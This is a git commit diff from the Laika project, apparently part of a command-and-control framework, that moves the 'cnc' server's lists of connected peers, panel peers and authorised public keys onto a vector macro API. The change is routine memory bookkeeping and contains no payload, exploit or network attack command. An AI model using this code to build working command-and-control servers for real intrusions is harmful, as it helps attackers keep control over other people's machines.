1
0
mirror of https://github.com/CPunch/Laika.git synced 2024-11-24 13:31:05 +00:00

cnc: migrate to new vector API

This commit is contained in:
CPunch 2022-09-01 19:12:13 -05:00
parent 13398dbdf6
commit 44086f563b
2 changed files with 14 additions and 22 deletions

View File

@ -3,6 +3,7 @@
#include "hashmap.h" #include "hashmap.h"
#include "laika.h" #include "laika.h"
#include "lmem.h"
#include "lpacket.h" #include "lpacket.h"
#include "lpeer.h" #include "lpeer.h"
#include "lpolllist.h" #include "lpolllist.h"
@ -20,12 +21,8 @@ struct sLaika_cnc
struct sLaika_socket sock; struct sLaika_socket sock;
struct sLaika_pollList pList; struct sLaika_pollList pList;
struct hashmap *peers; /* holds all peers, lookup using pubkey */ struct hashmap *peers; /* holds all peers, lookup using pubkey */
struct sLaika_peer **authPeers; /* holds connected panel peers */ laikaM_newVector(struct sLaika_peer *, authPeers); /* holds connected panel peers */
uint8_t **authKeys; laikaM_newVector(uint8_t *, authKeys);
int authKeysCount;
int authKeysCap;
int authPeersCount;
int authPeersCap;
uint16_t port; uint16_t port;
}; };

View File

@ -161,12 +161,8 @@ struct sLaika_cnc *laikaC_newCNC(uint16_t port)
/* init peer hashmap & panel list */ /* init peer hashmap & panel list */
cnc->peers = hashmap_new(sizeof(tCNC_PeerHashElem), 8, 0, 0, cnc_PeerElemHash, cnc->peers = hashmap_new(sizeof(tCNC_PeerHashElem), 8, 0, 0, cnc_PeerElemHash,
cnc_PeerElemCompare, NULL, NULL); cnc_PeerElemCompare, NULL, NULL);
cnc->authPeers = NULL; laikaM_initVector(cnc->authPeers, 4);
cnc->authKeys = NULL; laikaM_initVector(cnc->authKeys, 4);
cnc->authKeysCount = 0;
cnc->authKeysCap = 4;
cnc->authPeersCap = 4;
cnc->authPeersCount = 0;
cnc->port = port; cnc->port = port;
/* init socket (we just need it for the raw socket fd and abstracted API :P) & pollList */ /* init socket (we just need it for the raw socket fd and abstracted API :P) & pollList */
@ -207,7 +203,7 @@ void laikaC_freeCNC(struct sLaika_cnc *cnc)
hashmap_free(cnc->peers); hashmap_free(cnc->peers);
/* free auth keys */ /* free auth keys */
for (i = 0; i < cnc->authKeysCount; i++) { for (i = 0; i < laikaM_countVector(cnc->authKeys); i++) {
laikaM_free(cnc->authKeys[i]); laikaM_free(cnc->authKeys[i]);
} }
laikaM_free(cnc->authKeys); laikaM_free(cnc->authKeys);
@ -222,7 +218,7 @@ void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer)
hashmap_set(cnc->peers, &(tCNC_PeerHashElem){.pub = peer->peerPub, .peer = peer}); hashmap_set(cnc->peers, &(tCNC_PeerHashElem){.pub = peer->peerPub, .peer = peer});
/* notify connected panels of the newly connected peer */ /* notify connected panels of the newly connected peer */
for (i = 0; i < cnc->authPeersCount; i++) { for (i = 0; i < laikaM_countVector(cnc->authPeers); i++) {
laikaC_sendNewPeer(cnc->authPeers[i], peer); laikaC_sendNewPeer(cnc->authPeers[i], peer);
} }
@ -273,7 +269,7 @@ void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer)
} }
/* notify connected panels of the disconnected peer */ /* notify connected panels of the disconnected peer */
for (i = 0; i < cnc->authPeersCount; i++) { for (i = 0; i < laikaM_countVector(cnc->authPeers); i++) {
laikaC_sendRmvPeer(cnc->authPeers[i], peer); laikaC_sendRmvPeer(cnc->authPeers[i], peer);
} }
@ -316,11 +312,10 @@ void laikaC_setPeerType(struct sLaika_cnc *cnc, struct sLaika_peer *peer, PEERTY
void laikaC_addAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer) void laikaC_addAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer)
{ {
/* grow array if we need to */ /* grow array if we need to */
laikaM_growarray(struct sLaika_peer *, cnc->authPeers, 1, cnc->authPeersCount, laikaM_growVector(struct sLaika_peer *, cnc->authPeers, 1);
cnc->authPeersCap);
/* insert into authenticated peer table */ /* insert into authenticated peer table */
cnc->authPeers[cnc->authPeersCount++] = authPeer; cnc->authPeers[laikaM_countVector(cnc->authPeers)++] = authPeer;
LAIKA_DEBUG("added panel %p!\n", authPeer); LAIKA_DEBUG("added panel %p!\n", authPeer);
} }
@ -329,9 +324,9 @@ void laikaC_rmvAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer)
{ {
int i; int i;
for (i = 0; i < cnc->authPeersCount; i++) { for (i = 0; i < laikaM_countVector(cnc->authPeers); i++) {
if (cnc->authPeers[i] == authPeer) { /* we found the index for our panel! */ if (cnc->authPeers[i] == authPeer) { /* we found the index for our panel! */
laikaM_rmvarray(cnc->authPeers, cnc->authPeersCount, i, 1); laikaM_rmvVector(cnc->authPeers, i, 1);
return; return;
} }
} }
@ -340,14 +335,14 @@ void laikaC_rmvAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer)
void laikaC_addAuthKey(struct sLaika_cnc *cnc, const char *key) void laikaC_addAuthKey(struct sLaika_cnc *cnc, const char *key)
{ {
uint8_t *buf; uint8_t *buf;
laikaM_growarray(uint8_t *, cnc->authKeys, 1, cnc->authKeysCount, cnc->authKeysCap); laikaM_growVector(uint8_t *, cnc->authKeys, 1);
buf = laikaM_malloc(crypto_kx_PUBLICKEYBYTES); buf = laikaM_malloc(crypto_kx_PUBLICKEYBYTES);
if (!laikaK_loadKeys(buf, NULL, key, NULL)) if (!laikaK_loadKeys(buf, NULL, key, NULL))
LAIKA_ERROR("Failed to load key '%s'\n", key); LAIKA_ERROR("Failed to load key '%s'\n", key);
/* insert key */ /* insert key */
cnc->authKeys[cnc->authKeysCount++] = buf; cnc->authKeys[laikaM_countVector(cnc->authKeys)++] = buf;
printf("[~] Added authenticated public key '%s'\n", key); printf("[~] Added authenticated public key '%s'\n", key);
} }